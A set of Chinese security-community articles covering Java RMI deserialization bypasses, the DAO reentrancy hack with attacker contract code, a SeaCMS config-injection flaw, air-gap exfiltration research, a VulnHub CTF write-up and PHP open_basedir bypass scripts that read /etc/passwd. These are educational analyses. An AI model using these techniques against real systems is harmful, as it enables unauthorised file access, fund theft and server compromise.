2. 针对绑定的危险obj的攻击，我们可以通过list所有绑定的obj，查找危险的绑定地址进行攻击。这里的危险怎么定义呢？第一是绑定的对象确实存在操作系统命令等；第二是该对象的类函数参数中存在反序列化点，比如hello(HashTable xxx)，其中的HashTable是CommonsCollections7的触发点，在传递过程中，xxx会被序列化，到了RMI Server时会反序列化，也就执行了我们的payload。最后，这里暂时还没找到案例…
## 0x07 20200303更新 UnicastRemoteObject Gadget
这个Gadget的来源是<https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/>
经过测试，这个Gadget可以做到跟JRMPClient一样的效果，但是无法跟上面的Level2一样绕过限制，原因看下面
本地在bind或rebind一个Remote对象时，会在sun/rmi/server/MarshalOutputStream.java#replaceObject进行转化
原来的对象会被转化成上面的一个结构，这里直接丢掉了UnicastRemoteObject，自然在Registry端无法从UnicastRemoteObject的readObject函数开始，这样这个Gadget就无法成功利用了。
要想利用这个链来绕过限制，我们可能得自己写一个bind的过程才可以，把getTarget的过程去掉直接发过去。这个Gadget利用价值比较低XD
ps：貌似可以通过重写的方式来解决这个问题，这里有空再分析XD
## 0x08 RMI DGC实现问题(ysoserial.expliots.JRMPClient)
在JEP290之前，RMI的DGCImpl_skel#dipatch接收处，获取到数据后，直接readObject造成的。
在JEP290之后，反序列化前做了校验，见DGCImpl
导致了ysoserial的exploit中的JRMPClient失效
## 0x09 总结中第二种方式的触发点（20200317 更新）
前面总结中提到的第二中方式：通过寻找可以利用的绑定对象的函数的参数进行反序列化利用
直接讲触发点`sun/rmi/server/UnicastServerRef.java#dispatch#338`
当我们编写Client端对Server端挂载的对象进行远程函数调用（RMI）时，Server端会逐一进行（获取到Methtod，解析parameters，最后进行invoke调用）。而在解析params时（我们讲过RMI过程中，对象均是序列化的状态）我们需要先对参数对象进行反序列化，也就是第338行所做的工作，继续往下跟
在函数`unmarshalParametersUnchecked`中分别对每个参数进行反序列化还原
如果所接受的类型非基础数据结构，那么将直接调用readObject，这部分并没有前面filter的限制
所以如果找到了一个Server端挂载的对象存在函数参数类型为Object、HashTable等类型时，我们可以直接穿入构造好的反序列化利用链。当前前提还是Server端的环境中存在相应的反序列化利用链的依赖。 | 社区文章 |
### 一、DAO项目介绍
DAO（Decentralized Autonomous
Organization）是一种通过智能合约将个体与个体、个人与组织、或组织与组织联系在一起的新型组织形式。The
DAO项目于2016年4月30日开始，融资窗口开放了28天。The
DAO项目就这么火起来了，截止5月15日这个项目筹得了超过一亿美元，而到整个融资期结束，共有超过11,000位热情的成员参与进来，筹得1.5亿美元，成为历史上最大的众筹项目。The
DAO所集资的钱远远超过其创建者的预期。
总结来说，DAO项目的运作方式如下：
* 1 首先要拥有其自己的团队来编写运行的智能合约代码
* 2 有初始融资阶段，在这一阶段人们添加资金来购买代币，来代表其所有权——这个过程叫做众销，或者首次代币发行（ICO）——为其提供所需资源。
* 3 当融资结束后，DAO项目就可以开始利用融到的钱真正开始运作。
* 4 人们开始像DAO系统管理者提出如何使用这笔钱的方案，并且购买DAO的成员就有资格对这些提案进行投票。
在介绍完成DAO的基本概念后，我们介绍下16年的这次DAO的重大攻击。在2016年6月17日，运行在以太坊公链上的The
DAO智能合约受到攻击。黑客利用合约中存在的递归调用不断转账“刷钱”，导致合约合约筹集的公共款不断的被转移到其子合约中。简单来说，此次攻击是由于以下两个方面的不当导致的
①函数存在逻辑漏洞，变量值更新不当以及智能合约本身存在的机制联合导致、②攻击者递归调用splitDAO函数，并不断进行自我调用。在递归快要接触到Blcok Gas Limit的时候进行了收尾工作并将自己的DAO资产转移到另一个受攻击账户并在利用完漏洞后将资产再转移回来。
如此以来，黑客利用2个账户反复利用Proposal进行攻击，从而转移了360万个以太币（价值6000万美元）。
### 二、DAO事件中的Race-To-Empty
Race-To-Empty情况我在之前的文章中有所简单的介绍，详细参考[区块链的那些事—论激励机制与激励层中的Race-To-Empty攻击](https://xz.aliyun.com/t/2904)。不同于上一篇文章，这次的攻击更有针对性，专门针对DAO事件的源码进行的分析。
由对Race-To-Empty的了解，我们知道该攻击在DAO事件中是由于不断递归而进行的无限制转账问题，由此我们可以看下面代码：
function withdrawBalance() {
amountToWithdraw = userBalances[msg.sender];
if (!(msg.sender.call.value(amountToWithdraw)())) { throw; }
userBalances[msg.sender] = 0;
}
我们可以简单解释下。
`userBalances[ msg.sender
]`为我们需要转账的金额，并将值赋给`amountToWithdraw`。之后我们看`msg.sender.call.value(amountToWithdraw)())`，msg使用了`call.value()`方法，这个方法的含义为：发送余额，发送不成功时抛出异常，本次调用不成功。而在以太坊中，call.value()方法需要与gas结合，我们后面会介绍。之后调用`userBalances[msg.sender]
= 0`修改余额为0。
而我们知道以太坊中的部分函数是附加有默认函数伴随执行的，例如上面的`msg.sender.call.value(amountToWithdraw)())`。会伴随执行下面函数。
function () {
vulnerableContract v;
uint times;
if (times == 0 && attackModeIsOn) {
times = 1;
v.withdrawBalance();
}
else { times = 0; }
}
当调用`msg.sener.call.value()`时，就会调用到默认函数，而默认函数又调用了withdraw造成了递归调用。如果我们将`withdrawBalance()`函数标记为函数W，将默认函数`function`标记为函数F。则有以下的堆栈情况：
先执行withdrawBalance，之后调用call，然后调用默认函数function，之后function中又执行了withdrawBalance......
第一次调用 userBalances[msg.sender] 有当前余额值
第二次调用 由于 userBalances[msg.sender] = 0 还没有调用到，因此 userBalances[msg.sender]
还是原来的值，因此会造成重复支付。
大家如果对上述内容能理解，那么就对DAO攻击理解了差不多了，下面看具体的攻击事件源码分析。
### 三、DAO攻击代码剖析
#### 1 Solidity中的fallback函数（回退函数）
每一个合约有且仅有一个没有名字的函数。这个函数无参数，也无返回值。如果调用合约时，没有匹配上任何一个函数(或者没有传哪怕一点数据)，就会调用默认的回退函数。
在以太坊中，当合约收到了ether时（没有任何其它数据），这个函数也会被执行。一般仅有少量的gas剩余，用于执行这个函数(准确的说，还剩2300
gas)。所以应该尽量保证回退函数使用少的gas。而在我们部署自己的智能合约函数时，我们需要对自己的回退函数进行测试，来保证函数的花费在2300
gas之内。
#### 2 以太坊中send与call函数
我们由上面的对Race to
empty的分析中可以知道，当调用call函数的时候我们会执行默认的函数。我们这里称为fallback函数（标题1中的解释）。而在以太坊中，我们对于gas的使用共有两个函数，send与call。那么他们有什么区别呢？
fallback 函数可以做尽量多的计算至到 gas 耗尽。有两种方法可以触发 fallback 函数：`recipient.send()` ,
`recipient.call.value()`。
方法1： 有2300 gas限制
如果调用 recipient.send 函数的话，被 send 唤起的 fallback 函数最多只能消耗 2300 gas。
方法2: 会使用尽量多的gas，所以要注意安全问题
`recipient.call.value(...)`会使用尽量多的gas，另外两个函数callcode和delegatecall，也是如此。
如果想要和send方法达到同样的安全效果，调用者必须指定 gas limit为0，`recipient.call.gas(0).value(...)`。
#### 3 攻击流程概述
本次漏洞出现在应用层，是Solidity编程语言的智能合约代码漏洞。此攻击成功由于以下两个方面：一是DAO余额扣除与转账顺序有误。应该先进行扣除费用再进行转账；而问题代码中顺序恰好相反。二是未知代码被无限制的使用了，导致了攻击持续进行。
本次攻击攻击者创建了自己的合约，利用系统的匿名fallback函数通过递归触发DAO的splitDAO函数的多次调用。
我们来具体分析下源码：
一、首先是下面的源码，此函数表示对 msg.sender持有的dao token余额是否大于0作了检查。
// Modifier that allows only shareholders to vote and create new proposals
modifier onlyTokenholders {
if (balanceOf(msg.sender) == 0) throw;
}
二、在DAO.sol中，我们在function
splitDAO中可以找到向childDAO打款（Ether）的语句。源代码在TokenCreation.sol中，它会将代币从the parent
DAO转移到the child DAO中。基本上攻击者就是利用这个来获得更多的代币并转移到child DAO中。
// Move ether and assign new Tokens
uint fundsToBeMoved =
(balances[msg.sender] * p.splitData[0].splitBalance) /
p.splitData[0].totalSupply;
if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false)
throw;
而平衡数组`uint fundsToBeMoved = (balances[msg.sender] *
p.splitData[0].splitBalance) /
p.splitData[0].totalSupply`决定了要转移的代币数量。因为每次攻击者调用这项功能时p.splitData[0]都是一样的（它是p的一个属性，即一个固定的值），并且`p.splitData[0].totalSupply`与`balances[msg.sender]`的值由于函数顺序问题没有被更新。如下：
// Burn DAO Tokens
Transfer(msg.sender, 0, balances[msg.sender]);
withdrawRewardFor(msg.sender); // be nice, and get his rewards
totalSupply -= balances[msg.sender];
balances[msg.sender] = 0;
paidOut[msg.sender] = 0;
return true;
所以我们想要实现不断的打款操作，必须依靠其他手段的帮助。根据上面的代码，合约中，为msg.sender记录的dao币余额归零、扣减dao币总量totalSupply等等都发生在将发回msg.sender之后。下面看`withdrawRewardFor)()`函数。
function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
throw;
uint reward =
(balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
if (!rewardAccount.payOut(_account, reward))
throw;
paidOut[_account] += reward;
return true;
}
`paidOut[_account] += reward`在问题代码里面放在payOut函数调用之后，再看payOut函数调用。
function payOut(address _recipient, uint _amount) returns (bool) {
if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
throw;
if (_recipient.call.value(_amount)()) { //注意这一行
PayOut(_recipient, _amount);
return true;
} else {
return false;
}
}
对_recipient发出call调用，转账_amount个Wei，call调用默认会使用当前剩余的所有gas。
以上内容就是我们黑客攻击所使用到的所有源码。
首先，黑客需要提前进行准备。黑客创建自己的黑客合约，合约同样会创建一个匿名的fallback函数。（根据solidity的规范，fallback函数将在HC收到Ether（不带data）时自动执行。）之后根据fallback函数我们会进行递归除法对splitDAO函数的多次调用。
之后，黑客开始进行攻击。我们用图的方式便于理解攻击流程。
由以上手段，系统会认为黑客的账户中一直有钱（因为提取钱后并没有更新金额），并且gas的作用同样没有发挥。
#### 4 总结防范
总结以上的内容，我们可以简单说明如何更改代码来防范相关攻击。首先我们要将金额更新代码放至合理的位置。例如:
function withdrawBalance() {
amountToWithdraw = userBalances[msg.sender];
userBalances[msg.sender] = 0;
if( amountToWithdraw > 0 ) {
if (!(msg.sender.call.value(amountToWithdraw)())) { throw; }
}
}
我们可以先更新再调用。
除此之外，我们应该如何编写安全合理的智能合约呢？
* 首先要[区别send和call的区别](https://link.jianshu.com?t=http://ethfans.org/topics/419)，并理解以太坊的gas机制
* [使用正确的顺序或者采用加锁的方式](https://link.jianshu.com?t=http://ethfans.org/topics/420)
* 转换发送模式为提款模式，使收款方控制以太币转移，减少其他逻辑和提款逻辑的耦合
* 防范调用栈攻击，判断调用外部合约的结果
* 去掉循环处理，或者限制循环防范gas限制攻击或者让合约调用者控制循环
希望大家在阅读后能有所收获，本篇也是作者在大量阅读文章后根据自己的思考完成的源码分析。希望为区块链安全爱好者能带来帮助。`欢迎大家留言，安全并不是一蹴而就，里面仍有许多内容可以深度分析的。大家多多交流！`
### 四、参考引用
* 1 <https://www.jianshu.com/p/bb6e35408255>
* 2 <https://blog.csdn.net/qq_35624642/article/details/78138081>
* 3 <https://ethfans.org/posts/116>
* 4 <http://www.tryblockchain.org/14825685263030.html>
* 5 <https://ethfans.org/topics/419>
* 6 <https://www.jianshu.com/p/bb6e35408255>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
源码下载：
<https://cdn.jsdelivr.net/gh/seacms-net/CMS@master/SeaCMS.zip>
漏洞分析：
打开我们下载的源码
漏洞源头为“图片水印设置”功能，对应的源码文件为admin_config_mark.php
当我们后台使用图片设置功能时
点击提交之后，这里首先调用了admin_config_mark.php文件，而这个文件的开头加载了全局文件
继续跟进config.php,这个文件中又引入了common.php
继续跟进common.php文件
此时我们找到了最终加载的文件，而这个文件的功能是对全局的变量进行过滤防护。
这里最终调用的函数为_FilterAll
将参数传入之后，框架会对每个参数使用addslashes函数进行转义，原本我们传入1'变为了1\'，接着来到admin/admin_config_mark.php文件
这里就出现了处理参数的逻辑错误。对全局转义过的参数又进行了一次替换操作，使用了str_replace函数将全部的单引号替换成了空，所以1\'就变成了1\，此时字符串进行了拼接。
然后紧着这把字符串写入了配置文件中
此时配置文件中写入的数据如下，这就导致了将原本的单引号转义掉了。此处我们就可以写入任意代码了。 | 社区文章 |
# 电源变扬声器：针对气隙系统的攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
#
国外一项新的网络安全研究显示，黑客可以在计算机完全物理断网的情况下窃取本地数据。
研究来自以色列内盖夫本古里安大学的网络安全研究人员Mordechai Guri博士，他演示了一种新型恶意软件，可以从带有电源设备的计算机中，绕过
**气隙系统** 和音频隔离系统，在物理断网状态下窃取高度敏感数据。
研究名为“ POWER-SUPPLaY ”，顾名思义与计算机电源有关，该研究基于一系列对电磁、声、热、光学隐蔽通道甚至电力电缆的利用进行攻击。
## 从热传感、风传感到声波传感
**气隙系统（air-gapped）是指将计算机设备与互联网以及任何连接到互联网上的其他计算机设备进行隔离。这种技术的使用范围仅限于要求高度安全的数据获取过程。**
早前，以色列内盖夫本古里安大学的研究人员研究出仅使用电脑散热，以及内置热传感器，从气隙系统中电脑获取数据的方法，他们将这种攻击方式称为BitWhisper。
其原理是计算机在工作时会因工作内容的不同，产生不同的热量，除了CPU、GPU以及其他主板组件外，系统下载文件、视频或者上网时都会通过消耗电能而产生能量。电脑内部会内置许多温度传感器来检测热波动，并触发内部风扇冷却系统的开启或关闭。
## 同样是攻击气隙系统，最新的“POWER-SUPPLaY”攻击方法有何玄妙之处？
Mordechai
Guri博士表示：我们开发的恶意软件可以将气隙系统的计算机电源设备（PSU）作为功能有限的外辅助扬声器，使其发出声音信号，并发送到“监听”的智能手机。
具体的方法涉及到一个可以改变CPU负载的恶意软件和一部手机。
恶意软件操纵着CPU的负载，以控制其功耗和电源的内部开关频率，进而使电源中的变压器和电容器产生声音信号，并在其上调制二进制数据，而旁边5米范围内的手机则可以接受这些数据，从而达到传送数据的目的。
该技术能够在0-24khz的频带中产生音频音调，并从计算机电源播放音频流(例如WAV)，而无需音频硬件或扬声器。
更令人震惊的是，该方法可以在普通的用户模式下进行攻击，不需要物理访问硬件或root特权，不需要调用特殊的系统权限，因此具有极高的回避性。
通过这种方法，黑客可以利用不同类型的计算机，包括PC工作站、服务器、甚至没有音频硬件的嵌入式系统和IoT设备，使整个物联网变得不堪一击。
当然，这个方法实施起来也限制颇多，包括需要在计算机上运行恶意软件或者代码；最大传输速率为50
bits每秒意味着传输耗时比较长；5米的距离要求使黑客只能通过某种社工手段靠近系统，而不能真正以“远程”方式攻击。
这不是内盖夫本古里安大学第一次展示从物理断网的情况下窃取数据的方法。在过去的几年中，他们展示了利用风扇振动、散热量、硬盘驱动器LED、红外摄像头、磁场、电源线、路由器LED、
扫描仪、屏幕亮度、USB设备以及硬盘和风扇发出的声波来无声窃取数据的技术。
Mordechai Guri博士的另一项研究“Air-ViBeR”，就是利用机箱内调速风扇发出特定的振动来传送数据。
# 气隙旁路与跨设备跟踪
能够控制设备CPU工作负载的恶意软件可以准确地操控电源产生可听见和不可听见的声音，甚至可以播放歌曲“ Happy Birthday”。
当然，目标是悄悄窃取数据的恶意软件不会播放任何引起注意的声音。取而代之的是，它将在两个或多个不同的频率上播放可听见或不可听见的声音，每个频率代表一个0比特，一个1比特或一系列比特（例如00、01、10、11），这些比特将被接收机捕获。
接收方智能手机可能是攻击者所有的，也可能是属于目标组织中某人的受感染设备。
这种攻击破坏隐私的一个后果是跨设备跟踪，因为该技术使恶意软件能够捕获受感染系统上的浏览历史记录并将信息发送给接收者。
作为对策，研究人员建议在禁止使用手机或其他电子设备的受限区域中对敏感系统进行分区。安装一个入侵检测系统来监视可疑的CPU行为，并设置基于硬件的信号检测器和干扰器，都有助于抵御上文提到的秘密窃取活动。
近年来，
气隙式计算机被认为是地球上最安全的计算机，已成为研究人员的常规目标。这项新研究再次为我们敲响警钟，气隙系统已不再安全，复杂的供应链攻击可以入侵孤立的系统。
本文来源：[ **安数网络**](https://www.anshuw.com/)，部分图片来自网络，如涉及侵权，请联系删除。 | 社区文章 |
# 【CTF攻略】VULNHUB - 如果你能抓住我 Writeup
|
##### 译文声明
本文是翻译文章，文章来源：jamesbower
原文地址：<https://www.jamesbower.com/skydog-con-2016-ctf/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **V1ct0r**](http://bobao.360.cn/member/contribute?uid=2665001095)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**0x00 Intro**
VULNHUB上面有非常多有趣的镜像资料，提供给我们练习和学习。本文我主要记录了今年11.9日发布的镜像题目 – SkyDog: 2016 – Catch
Me If You Can 相关解题的思路和过程，希望与大家一同交流学习。
**0x01 Get Started!**
我们在VULNHUB上面下载这一期的镜像文件：
[https://www.vulnhub.com/entry/skydog-2016-catch-me-if-you-can,166/](https://www.vulnhub.com/entry/skydog-2016-catch-me-if-you-can,166/)
非常有趣的是本期是以《Catch Me If You Can》 – 逍遥法外 这部电影作为背景剧情的
如果有时间的话可以先看看这部电影，说不定对后面解题有所帮助
**Download (Mirror):**[
https://download.vulnhub.com/skydog/SkyDogConCTF2016VBoxV10.ova](https://download.vulnhub.com/skydog/SkyDogConCTF2016VBoxV10.ova)
**Download (Torrent):**[
https://download.vulnhub.com/skydog/SkyDogConCTF2016VBoxV10.ova.torrent](https://download.vulnhub.com/skydog/SkyDogConCTF2016VBoxV10.ova.torrent)
下载完成后直接在VirtualBox中导入我们的镜像，启动即可
根据题目的提示我们一共需要拿到8个FLAGS
**0x02 Get Flags**
首先我们需要探测一下这个Server开放的端口服务，我们用Nmap对它进行一个全面扫描：
nmap.exe -T4 -A 192.168.56.102
[](http://chuantu.biz/t5/41/1478921191x1972047504.jpg\))
我们看到了80端口和443端口是开放的，所以我们访问192.168.56.102
看了一下网站页面以及源码似乎没得到什么新的提示，于是就开始常规的检测思路
由于是在本地，我直接用WVS对网站进行了扫描，从而来探测网站的目录结构和常见漏洞，结果发现存在一个列目录的漏洞：
主要涉及了两个目录：
http://192.168.56.102/assets/
http://192.168.56.102/oldIE/
此外我们现在对网站的目录结构也有了大致的了解了
**Flag 1**
上面我们搜集到的唯一可以进一步看下去的信息就是存在的一个列目录漏洞。而第一个目录就是用于存放网站的一些资源文件，一些图片、css和js之类的，看了看没有什么特别的；第二个目录看上去比较奇怪，就点进去看了看，发现里面有一个html5.js的文件
http://192.168.56.102/oldIE/html5.js
发现了这一串字符：
666c61677b37633031333230373061306566373164353432363633653964633166356465657d
根据Flag 1的提示
Flag#1 - "Don’t go Home Frank! There’s a Hex on Your House"
我们可以推测这就是Hex后的字符串
直接Hex Decoding下，发现果然是Flag
flag{7c0132070a0ef71d542663e9dc1f5dee}
**Flag 2**
Flag 1中hash解密后发现是：nmap，于是我又使用Nmap对这个目标进行了更加深和全面的扫描：
nmap.exe 192.168.56.102 -vv -sV -p1-65535 -o details.txt
扫描结果之中又发现了一些有趣的信息：
22/tcp closed ssh reset ttl 64
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.18
443/tcp open ssl/http syn-ack ttl 64 Apache httpd 2.4.18
22222/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
在22222端口上开放了OpenSSH的服务，于是尝试连接
ssh [email protected] -p 22222
在WARNING中发现了第二关的Flag
Flag{53c82eba31f6d416f331de9162ebe997}
**Flag 3**
Flag 2的md5解密后是：encrypt
我们再看看本关的提示信息
Flag #3 Be Careful Agent, Frank Has Been Known to Intercept Traffic Our Traffic.
然后想到了我们之前用Nmap扫描的时候还发现了：
443/tcp open ssl/http syn-ack ttl 64 Apache httpd 2.4.18
于是访问 https://192.168.56.102
发现证书是有问题的，然后进一步查看证书相关信息，在信息之中发现了Flag
flag3{f82366a9ddc064585d54e3f78bde3221}
**Flag 4**
Flag 3中的md5解密之后为：personnel
猜测是目录之类的，访问 http://192.168.56.102/personnel
得到新的提示：
ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....
这里说我们不是来自 FBI Workstation 的，加上访问被拒绝
这时想到了本关的提示：
Flag#4 - “A Good Agent is Hard to Find"
感觉这里Agent应该是双关（本意是：探员），按照这些提示通常的思路就是一个User-Agent的问题了，但是这个User-Agent又应该是什么呢？因为User-Agent是用来标识用户的操作系统、浏览器以及其版本信息等，联系到之前有个oldIE的目录，我又去在192.168.56.102//html5.js下搜索相关关键词：agent、FBI，发现找到了如下信息
/* maindev - 6/7/02 Adding temporary support for IE4 FBI Workstations */
/* newmaindev - 5/22/16 Last maindev was and idoit and IE4 is still Gold image -@Support [email protected] */
想到了伪造IE4的User-Agent信息
Mozilla/4.0 (compatible; MSIE 4.0; Windows NT)
MSIE 后面对应的数字就是版本号
修改后我们的User-Agent头之后发包，得到了Flag 4
flag{14e10d570047667f904261e6d08f520f}
并且我们得到了一个新的提示：
Clue = new+flag
**Flag 5**
Flag 4的md5解密后为：evidence
然后根据上关最后的提示得到新提示：newevidence
发现这个提示依然是一个目录名，访问 http://192.168.56.102/newevidence
这里还是要用IE4的User-Agent
访问之后，弹出了一个框
需要FBI的才能登陆，我们需要知道用户名和密码。而在上一关的html5.js文件中发现了一个邮箱：
[email protected]
即用户名的构成是：名字.姓氏
而我们在上一关登陆 http://192.168.56.102/personnel/
页面显示：
Welcome Agent Hanratty
我百度了下：Agent Hanratty
得到这个探员的名字应该是：Carl Hanratty
所以这里用户名应该是：carl.hanratty
接下来就是密码了…继续看看这关的提示
Flag#5 - “The Devil is in the Details - Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices"
并不能想到任何有用的信息（可能因为没有看过这部电影的缘故），一顿搜索也无果后…索性休息下用直接百万级的大字典爆破试试，线程开得很高，跑了一会儿17万的样子时，居然出现了301，仿佛看到了希望
decode后发现这里payload是：
carl.hanratty:Grace
尝试登陆，发现成功了！
点击“Evidence Summary File” 发现请求了：http://192.168.56.102/newevidence/Evidence.txt
得到了本关的Flag：
flag{117c240d49f54096413dd64280399ea9}
同时我们还在登陆后的页面下载到了两个文件
一个是PDF：Invoice.pdf；一个是JPG：image.jpg
**Flag 6**
解密上一关flag中的md5，得到了： panam
再看看这一关的提示：
Flag #6 Where in the World is Frank?
找到Frank，这让我想到了数据取证人员通过包含元数据的Word文档找到了杀人犯，破掉了BTK杀人案件。那么上面我们得到的两个文件是否包含着某些信息呢？
首先看了看PDF的属性，并没有发现什么特别的，就打开这个文件，想看看内容有没有什么线索，最后Google到了文档中Stefan
Hetzl是一个Steghide的作者，而Steghide是一个可以在图像,音频中隐藏数据的小工具，正好可以联系到我们的图片上
这让我想起了前段时间的某个脑洞CTF，给了两张图片，但其实是通过其中一张图片里的人物的英文名找到了对应解密工具，解密第二个图片。所以，猜测这里应该也是这种思路。而密码恰好可以使用我们上一关flag的md5解密结果：panam
利用Steghide，发现图片里面隐藏了一个flag.txt文件
C:Documents and Settingsv1ct0r>"C:Documents and Settingsv1ct0rDesktopstegh
idesteghide.exe" --info "C:Documents and Settingsv1ct0rDesktopimage.jpg" -p
panam
"image.jpg":
format: jpeg
capacity: 230.1 KB
embedded file "flag.txt":
size: 71.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
接下来我们执行命令将flag.txt分离出来
C:Documents and Settingsv1ct0r>"C:Documents and Settingsv1ct0rDesktopstegh
idesteghide.exe" --extract -sf "C:Documents and Settingsv1ct0rDesktopimage.
jpg" -p panam
wrote extracted data to "flag.txt".
得到Flag 6：
flag{d1e5146b171928731385eb7ea38c37b8}
同时这个文本里面还给了我们新的线索：iheartbrenda
**Flag 7**
上一关Flag的md5解出来后为：ILoveFrance 在文本中也直接给出了
首先还是尝试了下是不是路径，发现这次不是了
这一关的提示是：
Flag #7 Frank Was Caught on Camera Cashing Checks and Yelling - I’m The Fastest Man Alive!
查了下这句话，发现Frank大叫的这句“I’m The Fastest Man Alive!”是来自于闪电侠的，这句话完整的是：My name is
Barry Allen and I am the fastest man alive when I was a child , I saw my
mother killed by … 看来又要开始脑洞了… “ILoveFrance”
不是目录的话最有可能的就是密码了，而我们唯一没有密码的就只有SSH了目前，所以尝试登陆去连接SSH，而用户名正好可以用那句话里的name：barryallen
ssh [email protected] -p 22222
发现不正确，想起来上一关完成时还有一个提示：iheartbrenda
尝试用这个密码去连接，发现成功连接上了！并在当前目录下找到了我们第七个Flag
flag{bd2f6a1d5242c962a05619c56fa47ba6}
**Flag 8**
终于来到了最后一关了XD，上一关md5解出来是：theflash
还有在上一关我们flag的目录下有一个security-system.data的文件，推测最后一关应该是和这个文件有关了
我把这个文件下载下来，首先用binwalk分析下
发现是ZIP文件，我们把这个文件解压出来
看了下文件内容出现了disk这样的字符，猜测可能是内存中的一些数据，我们利用Kali下集成的一款内存取证分析工具Volatility来看一看
这个工具的使用参数大家可以参考：http://tools.kali.org/forensics/volatility
首先查看下镜像信息
volatility -f security-system.data imageinfo
这里我直接用notepad查看当前显示过的记事本内容
volatility -f security-system.data --profile=WinXPSP2x86 notepad
发现最后那个text的内容比较特别，猜测是Hex过的
666c61677b38343164643364623239623066626264383963376235626537363863646338317d
Hex Decoding下，发现我们拿到了最后一个Flag！
flag{841dd3db29b0fbbd89c7b5be768cdc81}
**0x03 The End**
至此，我们已经成功完成了本期的挑战。不得不说整个题目感觉还是有些地方比较脑洞，可能是由于没看过这部电影的原因…题目本身需要的技巧不多，但还是可以作为练习以及帮助我们掌握一些基础，学习一些新姿势。当然解题方法不止一种，如果你还有什么好的思路和想法也欢迎一起学习交流。 | 社区文章 |
## 前言
这个东西很多师傅都玩烂了，我是这几天在给师弟师妹的某次出题搭环境的时候才学习的。。。
## open_basedir
看一下php.ini里面的描述：
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
open_basedir可将用户访问文件的活动范围限制在指定的区域，通常是其目录的路径，也可用符号"."来代表当前目录。
> 注意用open_basedir指定的限制实际上是前缀,而不是目录名。（其实我也是才知道的）
> 比如open_basedir = /dir/user", 那么目录 "/dir/user" 和
> "/dir/user1"都是可以访问的，所以如果要将访问限制在仅为指定的目录，可以将open_basedir = /dir/user/
## Bypass
### 命令执行
为什么选命令执行，因为`open_basedir`和命令执行无关，就可以直接获取目标文件。
如果遇到disable_functions，就多换几个函数；如果关键字被过滤，办法也很多，可以参考大佬文章
### syslink() php 4/5/7/8
symlink(string $target, string $link): bool
原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D，再创建一个链接文件 abc 指向
aaa/../../../../etc/passwd，其实就是指向了
A/B/C/D/../../../../etc/passwd，也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc
还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd，就进入了路径/etc/passwd
payload 构造的注意点就是：要读的文件需要往前跨多少路径，就得创建多少层的子目录，然后输入多少个`../`来设置目标文件。
<?php
highlight_file(__FILE__);
mkdir("A");//创建目录
chdir("A");//切换目录
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","abc");
unlink("aaa");
mkdir("aaa");
?>
### 暴力破解
#### realpath()
realpath是用来将参数path所指的相对路径转换成绝对路径，然后存于参数`resolved_path`所指的字符串 数组 或 指针 中的一个函数。
如果`resolved_path`为NULL，则该函数调用malloc分配一块大小为PATH_MAX的内存来存放解析出来的绝对路径，并返回指向这块区域的指针。
有意思的是，在开启open_basedir后，当我们传入的路径是一个不存在的文件（目录）时，它将返回false；当我们传入一个不在open_basedir里的文件（目录）时，他将抛出错误（File
is not within the allowed path(s))。
如果一直爆破，是特别麻烦的。。。所以可以借助通配符来进行爆破，条件：Windows环境。
<?php
highlight_file(__FILE__);
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/WEB/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>
#### bindtextdomain()以及SplFileInfo::getRealPath()
除了realpath()，还有bindtextdomain()和SplFileInfo::getRealPath()作用类似。同样是可以得到绝对路径。
bindtextdomain(string $domain, ?string $directory): string|false
当`$directory`存在时，会返回`$directory`的值，若不存在，则返回false。
另外值得注意的是， **Windows环境下是没有bindtextdomain函数的，而在Linux环境下是存在的。**
SplFileInfo 类为单个文件的信息提供高级面向对象的接口，SplFileInfo::getRealPath 类方法是用于获取文件的绝对路径。
为什么把这两个放在一块？因为和上面的 bindtextdomain 一样，是基于报错判断的，然后再进行爆破。
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}
?>
### glob:// 伪协议
glob:// — 查找匹配的文件路径模式
**设计缺陷导致的任意文件名列出**
